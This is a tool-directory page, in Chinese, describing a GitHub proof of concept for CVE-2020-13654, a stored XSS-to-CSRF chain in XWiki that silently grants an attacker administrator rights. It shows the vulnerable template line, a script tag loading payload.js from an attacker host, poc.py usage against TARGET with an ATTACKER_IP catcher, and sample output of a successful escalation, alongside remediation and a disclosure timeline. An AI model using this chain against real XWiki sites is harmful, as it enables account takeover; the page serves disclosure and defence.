Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-13654 — CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover | Kitploit
工具/GitHubGitHub/astaruf/cve-2020-13654
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubastaruf/cve-2020-13654

CVE-2020-13654

CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2020-13654 - XWiki Platform < 12.8 - 存储型 XSS → CSRF → 权限提升

发现并报告者: Astaruf
完整分析文章: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD 条目: https://nvd.nist.gov/vuln/detail/CVE-2020-13654


漏洞详情

XWiki Platform 12.8 之前版本未对用户个人资料编辑器中的用户可控字段进行 HTML 编码。经研究确认受影响的字段为**"公司"**(位于 编辑 → 个人信息 下),但其他个人资料字段共享相同的代码路径。

当渲染个人资料页面时,存储的字段值未经任何 $escapetool.xml() 或等效转义处理直接输出到 HTML 中。攻击者只需拥有任何经过身份验证的帐户(包括刚刚自行注册的帐户),即可存储任意 HTML/JavaScript,并在每个访问该个人资料的用户的浏览器中持久执行,包括管理员。

根本原因存在于受影响的 Velocity 模板中:

root@kitploit:~
## 存在漏洞的版本(< 12.8):将值直接写入 DOM
$xwiki.getUserProperty($user, "company")

## 修复版本(≥ 12.8):输出前对值进行 HTML 编码
$escapetool.xml($xwiki.getUserProperty($user, "company"))
字段值
产品XWiki Platform
受影响版本< 12.8
修复版本12.8
CVSSv3 评分7.5(高危)
CWECWE-116 — 输出编码或转义不当

攻击场景

本 PoC 演示了零点击权限提升链:

root@kitploit:~
低权限攻击者帐户
        │
        ├─ 在"公司"字段存储 <script src="http://attacker/payload.js">
        ▼
  XWiki 个人资料页面(已投毒)
        │
        ├─ 管理员导航到该页面(例如通过用户列表或支持工单)
        ▼
  Payload 在管理员浏览器会话中执行
        │
        ├─ 获取 /bin/view/XWiki/XWikiAdminGroup  → 提取 CSRF 令牌
        ├─ POST 请求 form_token + xpage=adduorg + name=attacker  → 将攻击者添加到 XWikiAdminGroup
        │
        ▼
  攻击者现在拥有完全管理员权限

无需管理员进行除单次页面访问之外的任何交互。


PoC

poc.py 是一个独立的利用脚本。它能够:

  1. 可选地通过 XWiki 的开放注册端点自行注册一个新的低权限帐户
  2. 验证攻击者帐户身份,并将 XSS 有效载荷注入到 Company 个人资料字段中,同时保留所有其他现有字段值
  3. 验证有效载荷是否出现在渲染后的页面源代码中
  4. 启动一个集成的 HTTP 服务器,用于提供嵌入式 JavaScript 有效载荷(/payload.js)并记录传入的信标
  5. 等待管理员访问已投毒的个人资料 URL

当管理员访问该 URL 时,存储的 <script src="..."> 标签会从攻击者的服务器加载 payload.js。有效载荷在管理员经过身份验证的浏览器上下文中执行,静默地将攻击者的帐户添加到 XWikiAdminGroup,并将结果信标回传。

使用方法

root@kitploit:~
pip install -r requirements.txt

使用自注册(无需预先存在的帐户):

root@kitploit:~
python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ATTACKER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      [email protected]

使用现有的低权限帐户:

root@kitploit:~
python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ATTACKER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

参数

预期输出

root@kitploit:~
[*] 正在注册帐户 'hacker' ...
✅  注册成功。
[*] 正在以 'hacker' 身份验证 ...
✅  验证成功。会话:{'JSESSIONID': 'ABC...'}
[*] 正在将有效载荷注入到 'hacker' 个人资料 ...
✅  有效载荷已存储:<script src="http://192.168.1.10:9000/payload.js"></script>
[*] 正在验证存储的有效载荷 ...
✅  页面源代码中确认存在有效载荷。

════════════════════════════════════════════════════════════
  利用已准备就绪 — 等待受害用户

  请将此 URL 分享给管理员(或等待管理员访问):
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  触发后,攻击者帐户 'hacker'
  将被静默添加到 XWikiAdminGroup。
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 有效载荷在受害用户浏览器中执行 | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 权限提升成功     | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker

修复方案

升级至 XWiki Platform ≥ 12.8。

修复方法是对所有用户可控的个人资料字段在渲染前应用 $escapetool.xml(),以防止注入原始 HTML/JavaScript。

如果无法立即升级,请限制自行注册功能,并通过 XWiki 的访问权限管理将个人资料可见性限制为受信任用户。


时间线

日期事件
2020年5月发现漏洞

参考资料

  • https://nvd.nist.gov/vuln/detail/CVE-2020-13654
  • https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
  • https://github.com/xwiki/xwiki-platform
  • https://cwe.mitre.org/data/definitions/116.html

免责声明

本仓库仅供教育和授权的安全研究目的使用。
请勿针对您不拥有或未经明确书面许可的系统进行测试。
作者不对滥用行为承担任何责任。

下载工具
参数必需描述
--target✅XWiki 基础 URL
--catcher✅攻击者控制的 URL(用于提供 payload.js 和收集信标)
--username✅攻击者帐户用户名
--password✅攻击者帐户密码
--register✗在利用前自动注册帐户
--first-name如果使用 --register注册时的名字
--last-name如果使用 --register注册时的姓氏
--email如果使用 --register注册时的电子邮件
2020年5月向 XWiki 安全团队报告
2020年7月在 XWiki Platform 12.8 中修复
2020年11月MITRE 分配 CVE-2020-13654
2020年12月30日公开披露 — nstsec.com